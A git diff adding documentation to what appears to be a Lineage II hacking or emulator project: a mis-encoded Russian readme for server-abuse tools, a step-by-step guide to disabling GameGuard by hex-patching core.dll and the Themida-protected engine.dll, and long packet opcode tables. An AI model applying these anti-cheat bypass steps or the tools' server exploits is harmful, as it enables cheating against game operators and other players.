1.2. Ìîæåò ñîçäàâàòü ìóòàíòîâ, áåññìåðòíûõ ÷àðîâ, ÷àðîâ áåç ãîëîâû, ó÷èòü ñêèëëû ëþáûõ óðîâíåé. +Ïîñëåäíèå âåðñèè LA2Fun è LA2Bute 1.5 (Ñ3/C4) ÿ ðåøèë íå âûêëàäûâàòü èç óâàæåíèÿ ê òåì, êòî èõ ïîêóïàë çà äåíüãè.. +Òàêæå õîòåë âûëîæèòü linux-âåðñèþ la2brute, íî ÷òî-òî íå ñìîã íàéòè :\ + + +Îñîáîå ñïàñèáî h0snp, sshd è hint =) +À òàêæå ïðèâåòû Silence/EF ;) è êàíàëó #m00 íà irc.blackhat.ru + + +(c) darkgrey / m00.blackhat.ru + + diff --git a/docs/map.jpg b/docs/map.jpg new file mode 100644 index 0000000..1dcaf49 Binary files /dev/null and b/docs/map.jpg differ diff --git a/docs/map_geodata_regions.txt b/docs/map_geodata_regions.txt new file mode 100644 index 0000000..1bcc21b Binary files /dev/null and b/docs/map_geodata_regions.txt differ diff --git a/docs/mfyyre_diy.txt b/docs/mfyyre_diy.txt new file mode 100644 index 0000000..793e2a5 --- /dev/null +++ b/docs/mfyyre_diy.txt @@ -0,0 +1,79 @@ +;-+- +;Fyyre's babblings... +; +;-+- + + +Disabling GameGuard in the L2 client is fairly trivial, since revision 746 (Interlude client). + +core.dll exports ?GL2UseGameGuard@@3HA .. to put it simply, this toggles GameGuard on/off depending on whether or not +this dword is a 0 or 1 ... you can very easily import this function, and overwrite the default value of 1 in your own dll, or just +use a hex editor, like I do... and change the 01 to 00. + +the next step involves engine.dll ... there's a non-exported function, called ExRestartClient (yes, its also a packet). You can +locate it by searching the strings for either GameGuard or ExRestartClient.. The sole purpose of ExRestartClient is to cause your +game to exit with the message "GameGuard Fail! Please restart Lineage II!", when GG is disabled. So in order to continue playing, +we need to ignore this function - the only thing that makes it slightly tricky, Themida. + +The developer who added these two lines of code to engine.dll knew exactly what s/he was doing: + +mov eax, 1 +ret + +Why? I'll tell you: + +because by doing so, allowed patching the Themida'd engine.dll ... ExRestartClient without any problems resulting from editing the what +would have normally otherwise turned into a soup of garbage opcodes, now valid x86 instructions - writing mov eax, 1 retn to the start +of ExRestartClient =) + +'..and? Your point?' - I you (the reader) are thinking. + +Those two lines aren't present in engine.dll versions 744 and below. The first Revision 746 Korean client (thanks for the correction smeli =) +is when they started using Themida. I draw my own conclusions from this observation. Or perhaps I'm reading too much into things. + +Anyways... back to the point. + +this screenshot -->> http://mfyyre.narod.ru/images/patching_engine.jpg + +00371260 8EAF FAF616F2 MOV GS, WORD PTR DS:[EDI+F216F6FA] <<-- here (might be different depending on your engine, so just think - +what I'm saying is pretty straight forward...) + +Open engine.dll with WinHex, and go to this offset (alt g) (yes hex... never decimal). + +press shift end to select the whole line, and ctrl shift C to copy it as hex. now tab back into OllyDbg, and scroll up to the start +of ExRestartClient function... highlight the function start: + +int 3 +int 3 +push ebp <<-- click once here, right click, view -> exe file .. now go to this offset in WinHex. +mov ebp, esp + +...follow me? Okay, now ctrl B .. to write what we copied to this line. Ignore the 'files larger than 20MB message'. Exit from +OllyDbg, now save engine.dll in WinHex. + +All done? Great! That's all there is to it. + +--- + + +This file is a brief DIY (Do-It-Yourself) to give those of you who play these other games hints on how to continue this process yourself... +if none of this makes any sense to you, and you want to disable anti-cheat for MMORPGs - I have three pieces of advise for you: + +1). learn assembly language -->> http://webster.cs.ucr.edu/ & http://win32assembly.online.fr/tutorials.html + +2). learn to use OllyDbg -->> http://www.ollydbg.de/ + +3). if you get stuck, google it. don't depend on others to answer/solve your questions - as you will not learn anything by doing this, google +and think of the solution until it makes you crazy - it may take some time, but every problem you solve, you are learning and what you learn +can be applied to future projects. + +examples of disable anti-cheat: + +note: for games using hackshield, after you patch the around its code, zero out any strings detailing hsupdate.exe, or ehsvc.dll. + +disabling gameguard is the same across many game clients (even length of certain jxx, etc are the same, hehe). I suggest you start looking +at the trademark two calls to CreateProcessA + +[removed the below, as is no longer current] + +//Fyyre \ No newline at end of file diff --git a/docs/mfyyre_patching_engine.jpg b/docs/mfyyre_patching_engine.jpg new file mode 100644 index 0000000..e85e435 Binary files /dev/null and b/docs/mfyyre_patching_engine.jpg differ diff --git a/docs/packets_client.txt b/docs/packets_client.txt new file mode 100644 index 0000000..7859f47 --- /dev/null +++ b/docs/packets_client.txt @@ -0,0 +1,220 @@ +00 Logout +01 AttackRequest +03 RequestStartPledgeWar +04 RequestReplyStartPledgeWar +05 RequestStopPledgeWar +06 RequestReplyStopPledgeWar +07 RequestSurrenderPledgeWar +08 RequestReplySurrenderPledgeWar +09 RequestSetPledgeCrest +0b RequestGiveNickName +0f MoveBackwardToLocation +11 EnterWorld +12 RequestItemList +16 RequestUnEquipItem +17 RequestDropItem +19 UseItem +1a TradeRequest +1b AddTradeItem +1c TradeDone +1f Action +22 RequestLinkHtml +23 RequestBypassToServer +24 RequestBBSwrite +26 RequestJoinPledge +27 RequestAnswerJoinPledge +28 RequestWithdrawalPledge +29 RequestOustPledgeMember +2c RequestGetItemFromPet +2e RequestAllyInfo +2f RequestCrystallizeItem +30 RequestPrivateStoreManageSell +31 SetPrivateStoreListSell +34 RequestSocialAction +35 ChangeMoveType2 +36 ChangeWaitType2 +37 RequestSellItem +39 RequestMagicSkillUse +3a Appearing +3b SendWareHouseDepositList +3c SendWareHouseWithDrawList +3d RequestShortCutReg +3f RequestShortCutDel +40 RequestBuyItem +42 RequestJoinParty +43 RequestAnswerJoinParty +44 RequestWithDrawalParty +45 RequestOustPartyMember +46 RequestDismissParty +47 CannotMoveAnymore +48 RequestTargetCanceld +49 Say2 +4d RequestPledgeMemberList +4f DummyPacket +50 RequestSkillList +52 MoveWithDelta +53 RequestGetOnVehicle +54 RequestGetOffVehicle +55 AnswerTradeRequest +56 RequestActionUse +57 RequestRestart +58 RequestSiegeInfo +59 ValidatePosition +5b StartRotating +5c FinishRotating +5e RequestShowBoard +5f RequestEnchantItem +60 RequestDestroyItem +62 RequestQuestList +63 RequestQuestAbort +65 RequestPledgeInfo +66 RequestPledgeExtendedInfo +67 RequestPledgeCrest +6f RequestHennaEquip +73 RequestAquireSkillInfo +74 SendBypassBuildCmd +75 RequestMoveToLocationInVehicle +76 CannotMoveAnymoreInVehicle +77 RequestFriendInvite +78 RequestAnswerFriendInvite +79 RequestFriendList +7a RequestFriendDel +7c RequestAquireSkill +7d RequestRestartPoint +7e RequestGMCommand +7f RequestPartyMatchConfig +80 RequestPartyMatchList +81 RequestPartyMatchDetail +83 RequestPrivateStoreBuy +85 RequestTutorialLinkHtml +86 RequestTutorialPassCmdToServer +87 RequestTutorialQuestionMark +88 RequestTutorialClientEvent +89 RequestPetition +8a RequestPetitionCancel +8b RequestGmList +8c RequestJoinAlly +8d RequestAnswerJoinAlly +8e AllyLeave +8f AllyDismiss +90 RequestDismissAlly +91 RequestSetAllyCrest +92 RequestAllyCrest +93 RequestChangePetName +94 RequestPetUseItem +95 RequestGiveItemToPet +96 RequestPrivateStoreQuitSell +97 SetPrivateStoreMsgSell +98 RequestPetGetItem +99 RequestPrivateStoreManageBuy +9a SetPrivateStoreListBuy +9c RequestPrivateStoreQuitBuy +9d SetPrivateStoreMsgBuy +9f RequestPrivateStoreSell +a6 RequestSkillCoolTime +a7 RequestPackageSendableItemList +a8 RequestPackageSend +a9 RequestBlock +aa RequestCastleSiegeInfo +ab RequestSiegeAttackerList +ac RequestSiegeDefenderList +ad RequestJoinSiege +ae RequestConfirmSiegeWaitingList +b0 MultiSellChoose +b1 NetPing +b3 RequestUserCommand +b4 SnoopQuit +b5 RequestRecipeBookOpen +b6 RequestRecipeBookDestroy +b7 RequestRecipeItemMakeInfo +b8 RequestRecipeItemMakeSelf +ba RequestRecipeShopMessageSet +bb RequestRecipeShopListSet +bc RequestRecipeShopManageQuit +be RequestRecipeShopMakeInfo +bf RequestRecipeShopMakeItem +c0 RequestRecipeShopManagePrev +c1 ObserverReturn +c2 RequestEvaluate +c3 RequestHennaList +c4 RequestHennaItemInfo +cc RequestPledgePower +cd RequestMakeMacro +ce RequestDeleteMacro +cf RequestBuyProcure +c5 RequestBuySeed +c6 DlgAnswer +c7 RequestWearItem +c8 RequestSSQStatus +cb GameGuardReply +6b RequestSendFriendMsg +6c RequestShowMiniMap +6e RequestRecordInfo + +D0:01 RequestManorList +D0:02 RequestProcureCropList +D0:03 RequestSetSeed +D0:04 RequestSetCrop +D0:05 RequestWriteHeroWords +D0:06 RequestExAskJoinMPCC +D0:07 RequestExAcceptJoinMPCC +D0:08 RequestExOustFromMPCC +D0:09 RequestOustFromPartyRoom +D0:0a RequestDismissPartyRoom +D0:0b RequestWithdrawPartyRoom +D0:0c RequestChangePartyLeader +D0:0d RequestAutoSoulShot +D0:0e RequestExEnchantSkillInfo +D0:0f RequestExEnchantSkill +D0:10 RequestExPledgeCrestLarge +D0:11 RequestExSetPledgeCrestLarge +D0:12 RequestPledgeSetAcademyMaster +D0:13 RequestPledgePowerGradeList +D0:14 RequestPledgeMemberPowerInfo +D0:15 RequestPledgeSetMemberPowerGrade +D0:16 RequestPledgeMemberInfo +D0:17 RequestPledgeWarList +D0:18 RequestExFishRanking +D0:19 RequestPCCafeCouponUse +D0:1b RequestDuelStart +D0:1c RequestDuelAnswerStart +D0:1e RequestExRqItemLink +D0:21 RequestKeyMapping +D0:24 RequestSaveInventoryOrder +D0:25 RequestExitPartyMatchingWaitingRoom +D0:26 RequestConfirmTargetItem +D0:27 RequestConfirmRefinerItem +D0:28 RequestConfirmGemStone +D0:29 RequestOlympiadObserverEnd +D0:2a RequestCursedWeaponList +D0:2b RequestCursedWeaponLocation +D0:2c RequestPledgeReorganizeMember +D0:2e RequestExMPCCShowPartyMembersInfo +D0:2f RequestOlympiadMatchList +D0:30 RequestAskJoinPartyRoom +D0:31 AnswerJoinPartyRoom +D0:32 RequestListPartyMatchingWaitingRoom +D0:33 RequestExEnchantSkillSafe +D0:34 RequestExEnchantSkillUntrain +D0:35 RequestExEnchantSkillRouteChange +D0:36 ExGetOnAirShip +D0:38 RequestExEnchantItemAttribute +D0:3f RequestAllCastleInfo +D0:40 RequestAllFortressInfo +D0:41 RequestAllAgitInfo +D0:42 RequestFortressSiegeInfo +D0:43 RequestGetBossRecord +D0:44 RequestRefine +D0:45 RequestConfirmCancelItem +D0:46 RequestRefineCancel +D0:47 RequestExMagicSkillUseGround +D0:48 RequestDuelSurrender +D0:49 RequestExEnchantSkillInfoDetail +D0:4b RequestFortressMapInfo +D0:4d SetPrivateStoreWholeMsg +D0:4e RequestDispel +D0:4f RequestExTryToPutEnchantTargetItem +D0:50 RequestExTryToPutEnchantSupportItem +D0:51 RequestExCancelEnchantItem +D0:52 RequestChangeNicknameColor +D0:53 RequestResetNickname \ No newline at end of file diff --git a/docs/packets_client_final_l2wh.txt b/docs/packets_client_final_l2wh.txt new file mode 100644 index 0000000..bcc383d --- /dev/null +++ b/docs/packets_client_final_l2wh.txt @@ -0,0 +1,261 @@ +00 LogoutPacket +01 Attack cddddc +02 UnknownPacket0x02 cddc +03 RequestStartPledgeWar cS +05 RequestStopPledgeWar cS +07 ResponseAuthGameGuard cddddd +09 RequestSetPledgeCrest cdb lub cd +0B RequestGiveNickName cSS +0C NewCharacter cSdddddddddddd +0D CharacterDeletePacket cd +0F MoveBackwardToLocation cdddddd +10 Say cS +11 EnterWorldPacket cbddddbdcccccccccccccccccccc +12 CharacterSelect cdhddd +13 NewCharacterPacket +14 ItemList +15 RequestEquipItem cdd +16 RequestUnEquipItem cd +17 RequestDraopItemPacket cdQddd +19 UseItemPacket cdd +1A TradeRequestPacket cd +1b AddTradeItemPacket cddQ +1C TradeDonePacket cd +1F Action cddddc +22 RequestLinkHtml cS +23 RequestBypassToServer cS +24 RequestBBSWrite cSSSSSS +25 RequestCreatePledge cS +26 RequestJoinPledge cdd +27 RequestAnswerJoinPledge cd +28 RequestWithDrawalPledge +29 RequestOustPledgeMember cS +2C RequestGetItemFromPet? cdQd +2E RequestAllyInfo +2F RequestCrystallizeItem cdQ +30 UnknownPacket1 +32 UnknownPacket2 +33 RequestTeleportPacket cddddd lub cdddd +34 SocialAction cd +35 ChangeMoveType cd +36 ChangeWaitType cd +38 RequestMagicSkillList ddd +39 RequestMagicSkillUse cddc +3A SendApperingPacket +3D RequestShortCutReg cddddd +3E RequestShortCutUse cddc +3F RequestShortCutDel cd +41 RequestDismissPledge +42 RequestJoinParty cSd +43 RequestAnswerJoinParty cd +44 RequestWithDrawalParty +45 RequestOustPartyMember cS +46 RequestDismissParty +48 RequestTargetCancel ch +49 Say2 cSd lub cSdS +4D RequestPledgeMemberList +4F RequestMagicList +50 RequestSkillList +52 MoveWithDelta cddd +53 GetOnVehicle cdddd +54 GetOffVehicle cdddd +55 AnswerTradeRequest cd +56 RequestActionUse cddc +57 RequestRestart +58 RequestSiegeInfo +59 ValidatePosition? cddddd +5a RequestSEKCustom cdd +5B StartRotating cdd +5C FinishRotating cdd +5e RequestShowboard cd +5F RequestEnchantItem cdd +60 RequestDestroyItem cdQ +62 RequestQuestList +63 RequestDestroyQuest cd +66 RequestPledgeExtendedInfo cS +67 RequestPledgeCrest cd +6b RequestSendL2FriendSay cSS +6C RequestOpenMinimap +6d RequestSendMsnChatLog cSSd +6e RequestReload +6F RequestHennaEquip cd +70 RequestHennaUnequipList cd +71 RequestHennaUnequipInfo cd +72 RequestHennaUnequip cd +73 RequestAcquireSkillInfo cddd +74 SendBypassBuildCmd cS +77 RequestFriendInvite cS +78 RequestFriendAddReply cd +79 RequestFriendList +7A RequestFriendDel cS +7B CharacterRestorePacket cd +7C RequestAcquireSkill cdddd lub cddd +7D RequestRestartPoint cd +7E RequestGMCommand cSdd +7F RequestPartyMatchConfig cddd +80 RequestPartyMatchList cdddddS +81 RequestPartyMatchDetail cdddd +82 UnknownPacket3 cd +84 ReviveReply cd +85 RequestTutorialLinkHtml cS +86 RequestTutorialPassCmdToServer cS +87 RequestTutorialQuestionMarkPressed cd +88 RequestTutorialClientEvent cd +89 RequestPetition cSd +8A RequestPetitionCancel cS +8B RequestGMList +8C RequestJoinAlly cd +8D RequestAnswerJoinAlly cd +8E RequestWithdrawAlly +8F RequestOustAlly cS +90 RequestDismissAlly +91 RequestSetAllyCrest cdb +92 RequestAllyCrest cd +93 RequestChangePetName cS +94 RequestPetUseItem cd +95 RequestGiveItemToPet cdQ +96 RequestPrivateStoreQuitSell +97 SetPrivateStoreMsgSell cS +98 RequestPetGetItem cd +99 RequestPrivateStoreBuyManage? +9b UnknownPacket4 +9c UnknownPacket5 +9d UnknownPacket6 cS +9e UnknownPacket7 cd +A0 SendTimeCheckPacket cdd +a6 RequestSkillCoolTime +a7 RequestPackageSendableItemList cd +A9 RequestBlock cdS lub cd +aa RequestCastleSiegeInfo cd +ab RequestCastleSiegeAttackerList cd +ac RequestCastleSiegeInfo cd +AD RequestJoinCastleSiege cddd +AE RequestConfirmCastleSiegeWaitingList cddd +af RequestSetCastleSiegeTime cdd +b1 NetPing cddd +b2 RequestRemainTime +b3 BypassUserCmd cd +b4 Snoop_quit cd +B5 RequestRecipeBookOpen cd +B6 RequestRecipeItemDelete cd +B7 RequestRecipeItemMakeInfo cd +B8 RequestRecipeItemMakeSelf cd +B9 RequestRecipeShopManageList +BA RequestRecipeShopMessageSet cS +BC RequestRecipeShopManageQuit +BD RequestRecipeShopManageCancel +BE RequestRecipeShopMakeInfo cdd +BF RequestRecipeShopMakeDo cddQ +C0 RequestRecipeShopSellList cd +c1 RequestObserverEndPacket +c2 VoteSociality cd +c3 RequestHennaItemList cd +c4 RequestHennaItemInfo cd +c6 ConfirmDlg cddd +c8 RequestSSQStatus cc +c9 PetitionVote cddS +cb ReplyGameGuardQuery cdddd +cc RequestPledgePower cddd +CE RequestDeleteMacro cd + + + +D001 RequestManorList ch +D005 RequestWriteHeroWords chS +D006 RequestExAskJoinMPCC chS +D007 RequestExAcceptJoinMPCC chdd +D008 RequestExOustFromMPCC chS +D009 RequestOustFromPartyRoom chd +D00A RequestDismissPartyRoom chdd +D00B RequestWithdrawPartyRoom chdd +D00C RequestHandOverPartyMaster chS +D00D RequestAutoSoulShot chdd +d00E RequestExEnchantSkillInfo chddd +d00f RequestExEnchantSkill chdd +D010 RequestExPledgeCrestLarge chd +D011 RequestExSetPledgeCrestLarge chdb lub chd +D012 RequestPledgeSetAcademyMaster chdSS +D013 RequestPledgePowerGradeList chch +D014 RequestPledgeMemberPowerInfo chdS +D015 RequestPledgeSetMemberPowerGrade chSd +D016 RequestPledgeMemberInfo chdS +D017 RequestPledgeWarList chdd +D018 RequestExFishRanking ch +D019 RequestPCCafeCouponUse chS +D01b RequestDuelStart chSd +D01c RequestDuelAnswerStart chddd +D01d RequestExSetTutorial chd +D01e RequestExRqItemLink chd +D021 RequestKeyMapping ch +D022 RequestSaveKeyMapping chdb +D023 RequestExRemoveItemAttribute chd +D025 RequestExitPartyMatchingWaitingRoom ch +D026 RequestConfirmTargetItem chd +D027 RequestConfirmRefinerItem chdd +D028 RequestConfirmGemStone chdddQ +D029 RequestOlympiadObserverEnd ch +D02A RequestCursedWeaponList ch +D02b RequestCursedWeaponLocation ch +D02C RequestPledgeReorganizeMember chdSdS +D02D RequestExMPCCShowPartyMembersInfo chd +D02E RequestOlympiadMatchList ch +D02f RequestAskJoinPartyRoom chS +D030 AnswerJoinPartyRoom chd +D031 RequestListPartyMatchingWaitingRoom chdddd +d032 RequestExEnchantSkill chdd +d033 RequestExEnchantSkill chdd +d034 RequestExEnchantSkill chdd +D035 RequestEnchantItemAttribute chd +D036 NieMaNazwyAleLeciPoUtworzeniuPostaci ch +D039 RequestBidItemAuction chdQ +D03a RequestInfoItemAuction chd +D03b RequestExChangeName chdSd +D03c RequestAllCastleInfo ch +D03d RequestAllFortressInfo ch +D03e RequestAllAgitInfo ch +D03f RequestFortressSiegeInfo ch +D040 RequestGetBossRecord chd +D041 RequestRefine chdddQ +D042 RequestConfirmCancelItem chd +D043 RequestConfirmCancelItem chd +D044 RequestExMagicSkillUseGround chdddddc +D045 RequestDuelSurrender ch +d046 RequestExEnchantSkillInfoDetail chddd +D048 RequestFortressMapInfo chd +D049 RequestPVPMatchRecord ch +D04a SetPrivateStoreWholeMsg chS +D04b RequestDispel chdd +D04c RequestExTryToPutEnchantTargetItem chd +D04d RequestExTryToPutEnchantSupportItem chdd +D04e RequestExCancelEnchantItem ch +D04f RequestChangeNicknameColor chdSd +D050 RequestResetNickname ch +D052 RequestWithDrawPremiumItem chQQ +D053 RequestJump ch +D054 RequestStartShowCrataeCubeRank ch +D055 RequestStopShowCrataeCubeRank ch +D056 NotifyStartMiniGame ch +D057 RequestJoinDominionWar chddd +D058 RequestDominionInfo ch +D059 RequestExCleftEnter chd +D05a RequestExBlockGameEnter chdd +D05b EndScenePlayer chd +D05c RequestExBlockGameVote chdd +D063 RequestSeedPhase ch +D065 BR_GamePoint ch +D066 BR_ProductList ch +D067 BR_ProductInfo chd +DO68 BR_BuyProduct chdd + +D05100 RequestBookMarkSlotInfo chd +D05101 RequestSaveBookMarkSlot chdSdS +D05102 RequestModifyBookMarkSlot chddSdS +D05103 RequestDeleteBookMarkSlot chdd +D05104 RequestTeleportBookMark chdd +D05105 RequestChangeBookMarkSlot chddd + + +4A00 SuperCmdCharacterInfo ccS +4A01 SuperCmdSummonCmd ccS +4A02 SuperCmdServerStatus cc +4A03 SendL2ParamSetting ccdd \ No newline at end of file diff --git a/docs/packets_server.txt b/docs/packets_server.txt new file mode 100644 index 0000000..e6e2380 --- /dev/null +++ b/docs/packets_server.txt @@ -0,0 +1,341 @@ +00 Die +01 Revive +02 ... +03 ... +04 ... +05 SpawnItem +06 SellList +07 BuyList +08 DeleteObject +09 CharSelectionInfo +0A LoginFail +0B CharSelected +0C CharInfo +0D NewCharacterSuccess +0E ObservationReturn +0F CharCreateOk +10 CharCreateFail +11 ItemList +12 SunRise +13 SunSet +14 TradeStart +15 ... +16 DropItem +17 GetItem +18 StatusUpdate +19 NpcHtmlMessage +1A TradeOwnAdd +1B TradeOtherAdd +1C TradeDone +1D CharDeleteSuccess +1E CharDeleteFail +1F ActionFailed +20 ServerClose +21 InventoryUpdate +22 TeleportToLocation +23 TargetSelected +24 TargetUnselected +25 AutoAttackStart +26 AutoAttackStop +27 SocialAction +28 ChangeMoveType +29 ChangeWaitType +2A ManagePledgePower +2B ... +2C AskJoinPledge +2D JoinPledge +2E KeyPacket +2F MoveToLocation +30 NpcSay +31 NpcInfo +32 UserInfo +33 Attack +34 ... +35 ... +36 ... +37 ... +38 ... +39 AskJoinParty +3A JoinParty +3B ... +3C ... +3D ... +3E ... +3F ... +40 ... +41 WareHouseDepositList +42 WareHouseWithdrawalList +43 ... +44 ShortCutRegister +45 ShortCutInit +46 ... +47 StopMove +48 MagicSkillUse +49 MagicSkillCanceld +4A CreatureSay +4B EquipUpdate +4C DoorInfo +4D DoorStatusUpdate +4E PartySmallWindowAll +4F PartySmallWindowAdd +50 PartySmallWindowDeleteAll +51 PartySmallWindowDelete +52 PartySmallWindowUpdate +53 ... +54 MagicSkillLaunched +55 ... +56 ... +57 ... +58 ... +59 ... +5A PledgeShowMemberListAll +5B PledgeShowMemberListUpdate +5C PledgeShowMemberListAdd +5D PledgeShowMemberListDelete +5E ... +5F SkillList +60 VehicleInfo +61 StopRotation +62 SystemMessage +63 StartPledgeWar +64 ... +65 StopPledgeWar +66 ... +67 SurrenderPledgeWar +68 ... +69 ... +6A PledgeCrest +6B SetupGauge +6C VehicleDeparture +6D VehicleCheckLocation +6E GetOnVehicle +6F GetOffVehicle +70 SendTradeRequest +71 RestartResponse +72 MoveToPawn +73 SSQInfo +74 GameGuardQuery +75 FriendList +76 ... +77 ... +78 L2FriendSay +79 ValidateLocation +7A StartRotation +7B ShowBoard +7C ChooseInventoryItem +7D ... +7E MoveToLocationInVehicle +7F StopMoveInVehicle +80 ValidateLocationInVehicle +81 ... +82 ... +83 FriendAddRequest +84 LeaveWorld +85 AbnormalStatusUpdate +86 QuestList +87 EnchantResult +88 PledgeShowMemberListDeleteAll +89 PledgeInfo +8A ... +8B ... +8C Ride +8D ... +8E PledgeShowInfoUpdate +8F ... +90 AcquireSkillList +91 AcquireSkillInfo +92 ... +93 GMHide +94 AcquireSkillDone +95 GMViewCharacterInfo +96 GMViewPledgeInfo +97 GMViewSkillInfo +98 ... +99 GmViewQuestInfo +9A GMViewItemList +9B GMViewWarehouseWithdrawList +9C ListPartyWating +9D PartyMatchDetail +9E PlaySound +9F StaticObject +A0 PrivateStoreManageListSell +A1 PrivateStoreListSell +A2 PrivateStoreMsgSell +A3 ShowMiniMap +A4 ... +A5 ... +A6 TutorialShowHtml +A7 TutorialShowQuestionMark +A8 TutorialEnableClientEvent +A9 TutorialCloseHtml +AA ... +AB ... +AC ... +AD ... +AE ... +AF AllyCrest +B0 ... +B1 PetStatusShow +B2 PetInfo +B3 PetItemList +B4 PetInventoryUpdate +B5 ... +B6 PetStatusUpdate +B7 PetDelete +B8 ... +B9 MyTargetSelected +BA PartyMemberPosition +BB AskJoinAlly +BC ... +BD PrivateStoreManageListBuy +BE PrivateStoreListBuy +BF PrivateStoreMsgBuy +C0 VehicleStarted +C1 ... +C2 ... +C3 ... +C4 ... +C5 ... +C6 ... +C7 SkillCoolTime +C8 PackageToList +C9 FortressSiegeInfo +CA SiegeAttackerList +CB SiegeDefenderList +CC NicknameChanged +CD PledgeStatusChanged +CE RelationChanged +CF ... +D0 MultiSellList +D1 SetSummonRemainTime +D2 PackageSendableList +D3 Earthquake +D4 FlyToLocation +D5 ... +D6 SpecialCamera +D7 NormalCamera +D8 ... +D9 ... +DA Dice +DB Snoop +DC RecipeBookItemList +DD RecipeItemMakeInfo +DE RecipeShopManageList +DF RecipeShopSellList +E0 RecipeShopItemInfo +E1 RecipeShopMsg +E2 ShowCalculator +E3 MonRaceInfo +E4 HennaItemInfo +E5 HennaInfo +E6 ... +E7 ... +E8 SendMacroList +E9 BuyListSeed +EA ShowTownMap +EB ObservationMode +EC ... +ED ChairSit +EE HennaEquipList +EF SellListProcure +F0 GMHennaInfo +F1 RadarControl +F2 ClientSetTime +F3 ConfirmDlg +F4 PartySpelled +F5 ShopPreviewList +F6 ... +F7 CameraMode +F8 ShowXMasSeal +F9 EtcStatusUpdate +FA ShortBuffStatusUpdate +FB SSQStatus +FC ... +FD AgitDecoInfo +FE ... +FF ... + +2-byte packets: +FE:01 ExRegMax +FE:0C ExAutoSoulShot +FE:12 ExOpenMPCC +FE:13 ExCloseMPCC +FE:14 ExShowCastleInfo +FE:15 ExShowFortressInfo +FE:16 ExShowAgitInfo +FE:17 ExShowFortressSiegeInfo +FE:18 ExPartyPetWindowAdd +FE:19 ExPartyPetWindowUpdate +FE:1A ExAskJoinMPCC +FE:1B ExPledgeCrestLarge +FE:1E ExFishingStart +FE:1F ExFishingEnd +FE:20 ExShowQuestInfo +FE:21 ExShowQuestMark +FE:22 ExSendManorList +FE:23 ExShowSeedInfo +FE:24 ExShowCropInfo +FE:25 ExShowManorDefaultInfo +FE:26 ExShowSeedSetting +FE:27 ExFishingStartCombat +FE:28 ExFishingHpRegen +FE:29 ExEnchantSkillList +FE:2A ExEnchantSkillInfo +FE:2B ExShowCropSetting +FE:2C ExShowSellCropList +FE:2E ExMailArrived +FE:2F ExStorageMaxCount +FE:31 ExMultiPartyCommandChannelInfo +FE:32 ExPCCafePointInfo +FE:33 ExSetCompassZoneCode +FE:34 ExGetBossRecord +FE:35 ExAskJoinPartyRoom +FE:38 ExShowAdventurerGuideBook +FE:39 ExShowScreenMessage +FE:3A PledgeSkillList +FE:3B PledgeSkillListAdd +FE:3C PledgePowerGradeList +FE:3D PledgeReceivePowerInfo +FE:3E PledgeReceiveMemberInfo +FE:3F PledgeReceiveWarList +FE:40 PledgeReceiveSubPledgeCreated +FE:41 ExRedSky +FE:44 ShowPCCafeCouponShowUI +FE:45 ExSearchOrc +FE:46 ExCursedWeaponList +FE:47 ExCursedWeaponLocation +FE:48 ExRestartClient +FE:49 ExRequestHackShield +FE:4A ExUseSharedGroupItem +FE:4B ExMPCCShowPartyMemberInfo +FE:4C ExDuelAskStart +FE:4D ExDuelReady +FE:4E ExDuelStart +FE:4F ExDuelEnd +FE:50 ExDuelUpdateUserInfo +FE:51 ExShowVariationMakeWindow +FE:52 ExShowVariationCancelWindow +FE:53 ExPutItemResultForVariationMake +FE:54 ExPutIntensiveResultForVariationMake +FE:55 ExPutCommissionResultForVariationMake +FE:56 ExVariationResult +FE:57 ExPutItemResultForVariationCancel +FE:58 ExVariationCancelResult +FE:5B ExMPCCPartyInfoUpdate +FE:5C ExPlayScene +FE:5D ExSpawnEmitter +FE:5E ExEnchantSkillInfoDetail +FE:5F ExBasicActionList +FE:61 ExAttributeEnchantResult +FE:62 ExChooseInventoryAttributeItem +FE:67 ExShowTrace +FE:6A ExPartyPetWindowDelete +FE:6C ExRpItemLink +FE:78 ExShowProcureCropDetail +FE:79 ExHeroList +FE:7A ExOlympiadUserInfoSpectator +FE:7B ExOlympiadSpelledInfo +FE:7C ExOlympiadMode +FE:7D ExShowFortressMapInfo +FE:80 ExPrivateStoreSetWholeMsg +FE:81 RequestEnchant diff --git a/docs/packets_server_t23_l2wh.txt b/docs/packets_server_t23_l2wh.txt new file mode 100644 index 0000000..13503f0 --- /dev/null +++ b/docs/packets_server_t23_l2wh.txt @@ -0,0 +1,430 @@ +0 DiePacket +1 RevivePacket +2 AttackOutofRangePacket +3 AttackinCoolTimePacket +4 AttackDeadTargetPacket +5 SpawnItemPacket +6 SellListPacket +7 BuyListPacket +8 DeleteObjectPacket +9 CharacterSelectionInfoPacket +a LoginFailPacket +b CharacterSelectedPacket +c NpcInfoPacket +d NewCharacterSuccessPacket +e NewCharacterFailPacket +f CharacterCreateSuccessPacket +10 CharacterCreateFailPacket +11 ItemListPacket +12 SunRisePacket +13 SunSetPacket +14 TradeStartPacket +15 TradeStartOkPacket +16 DropItemPacket +17 GetItemPacket +18 StatusUpdatePacket +19 NpcHtmlMessagePacket +1a TradeOwnAddPacket +1b TradeOtherAddPacket +1c TradeDonePacket +1d CharacterDeleteSuccessPacket +1e CharacterDeleteFailPacket +1f ActionFailPacket +20 SeverClosePacket +21 InventoryUpdatePacket +22 TeleportToLocationPacket +23 TargetSelectedPacket +24 TargetUnselectedPacket +25 AutoAttackStartPacket +26 AutoAttackStopPacket +27 SocialActionPacket +28 ChangeMoveTypePacket +29 ChangeWaitTypePacket +2a ManagePledgePowerPacket +2b CreatePledgePacket +2c AskJoinPledgePacket +2d JoinPledgePacket +2e VersionCheckPacket +2f MTLPacket +30 NSPacket +31 CIPacket +32 UIPacket +33 AttackPacket +34 WithdrawalPledgePacket +35 OustPledgeMemberPacket +36 SetOustPledgeMemberPacket +37 DismissPledgePacket +38 SetDismissPledgePacket +39 AskJoinPartyPacket +3a JoinPartyPacket +3b WithdrawalPartyPacket +3c OustPartyMemberPacket +3d SetOustPartyMemberPacket +3e DismissPartyPacket +3f SetDismissPartyPacket +40 MagicAndSkillList +41 WareHouseDepositListPacket +42 WareHouseWithdrawListPacket +43 WareHouseDonePacket +44 ShortCutRegisterPacket +45 ShortCutInitPacket +46 ShortCutDeletePacket +47 StopMovePacket +48 MagicSkillUse +49 MagicSkillCanceled +4a SayPacket2 +4b EquipUpdatePacket +4c DoorInfoPacket +4d DoorStatusUpdatePacket +4e PartySmallWindowAllPacket +4f PartySmallWindowAddPacket +50 PartySmallWindowDeleteAllPacket +51 PartySmallWindowDeletePacket +52 PartySmallWindowUpdatePacket +53 TradePressOwnOkPacket +54 MagicSkillLaunchedPacket +55 FriendAddRequestResult +56 